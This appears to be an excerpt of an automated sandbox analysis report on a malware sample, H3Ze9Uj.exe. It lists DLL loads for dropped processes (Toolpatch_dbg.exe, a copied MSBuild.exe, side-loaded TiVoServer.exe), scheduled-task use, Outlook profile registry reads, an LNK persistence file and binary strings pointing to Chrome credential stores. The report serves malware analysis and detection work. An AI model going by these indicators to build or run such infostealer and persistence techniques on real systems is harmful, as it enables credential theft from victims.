Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: avicap32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvfw32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: msihnd.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: borlndmm.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: wspconfig.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: mindclient.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: libglib-2.0-0.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: loudmouth.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: msi.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: cc3260mt.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: stlpmt45.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: borlndmm.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: wspconfig.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: mindclient.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: libglib-2.0-0.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: loudmouth.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: msi.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: cc3260mt.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: stlpmt45.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: shdocvw.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F6D90F11-9C73-11D3-B32E-00C04F990BB4}\InProcServer32

Jump to behavior

Source: fgwplai.5.dr

LNK file: ..\..\..\..\user\AppData\Roaming\Servicewriter\TiVoServer.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\MSBuild.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: H3Ze9Uj.exe

Static file information: File size 10493517 > 1048576

Source: H3Ze9Uj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: H3Ze9Uj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: H3Ze9Uj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: H3Ze9Uj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: H3Ze9Uj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: H3Ze9Uj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: H3Ze9Uj.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: H3Ze9Uj.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: _C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\RX_INSTALL\_locales\trBR source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E44000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: c:\tmp\author\3rdParty\loudmouth-1.3\loudmouth\Release\loudmouth.pdb source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp, TiVoServer.exe, 00000004.00000002.1434590714.0000000000BFF000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: d:\build\b-tivo-desktop-2-8-3\b-tivo-desktop-2-8-3\author\wspconfig\Bin\wspconfig.pdb source: TiVoServer.exe, 00000003.00000002.1390118132.000000001006F000.00000002.00000001.01000000.0000000C.sdmp, TiVoServer.exe, 00000003.00000002.1370646539.0000000000743000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002E92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E44000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: krnlmp.pdb source: Toolpatch_dbg.exe, 00000009.00000003.2212004005.0000000002E24000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\ source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb1612011; source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: TiVoServer.exe, 00000003.00000002.1384356941.0000000009C20000.00000004.00000800.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000002.1383465669.00000000098C0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665949782.0000000005540000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665478515.0000000004C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: Toolpatch_dbg.exe, 00000009.00000003.1842909475.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1870149360.0000000002E2F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1844021362.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830621556.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1841760709.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Google\Chrome\User Data.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State1+ source: Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E44000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: p\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local Statep.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\build\b-tivo-desktop-2-8-3\b-tivo-desktop-2-8-3\author\MindClient\Bin\MindClient.pdb source: TiVoServer.exe, 00000003.00000002.1371181532.0000000000B28000.00000002.00000001.01000000.0000000F.sdmp, TiVoServer.exe, 00000004.00000002.1433430914.0000000000B53000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: Z\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1830845675.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830810979.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831676425.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831204080.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2`S source: Toolpatch_dbg.exe, 00000009.00000003.2069015530.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986928265.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054558922.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1871700164.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1947835494.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1985206623.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2108927331.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1999888859.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036252838.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053707513.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1973657088.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014910148.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977906288.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2106769226.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1959787145.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033455031.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2088823351.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048551522.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1904605665.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052103582.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 